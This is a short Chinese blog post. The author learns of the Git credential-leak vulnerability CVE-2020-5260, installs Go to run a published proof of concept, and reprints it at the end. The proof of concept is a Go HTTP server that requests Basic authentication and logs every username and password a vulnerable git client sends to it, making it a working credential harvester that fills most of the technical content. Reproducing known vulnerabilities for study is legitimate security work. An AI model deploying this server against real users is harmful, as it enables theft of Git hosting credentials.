前言
现在是凌晨三点了,我习惯性的打开QQ去看群里大佬门们的聊天记录,之后的一条来自GitHub监控机器人的一条推送让我选择了起床!
先给大家来介绍点背景知识,昨天的绿盟科技安全情报推了一条关于Git的凭证泄露漏洞的通告.
缘由
详细信息请看Git的凭证泄露漏洞
一般这种情况都是坐等大佬放poc,我在今天凌晨三点终于等到了大佬复现成功的消息,请看动图:
详情请移步
到了这里我一直都还挺激动的.终于可以复现1day了,可是却发现,这poc是用go语言写的,于是就有了这篇博客,让我把go纳入我编程技能树,poc代码见文末.
HelloWorld.go
以下是毫无技术可言的安装过程和环境测试:
CVE-2020-5260
附上CVE-2020-5260的POC
poc1:
package main
import (
"log"
"net/http"
)
func h(w http.ResponseWriter, r *http.Request) {
username, password, ok := r.BasicAuth()
if ok {
log.Printf("user: %v password: %v\n", username, password)
w.WriteHeader(200)
return
}
w.Header().Set("WWW-Authenticate", `Basic realm="foo"`)
http.Error(w, "Not authorized", 401)
return
}
func main() {
http.HandleFunc("/", h)
err := http.ListenAndServe(":8088", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
结语
通过这件事儿,让我想起了高中母校的校训:任重道远
,同时也让我觉得做技术,就得要随时做好接收一门新技术的准备,为自己的技能树添枝加叶,日后方能枝繁叶茂,予人荫凉!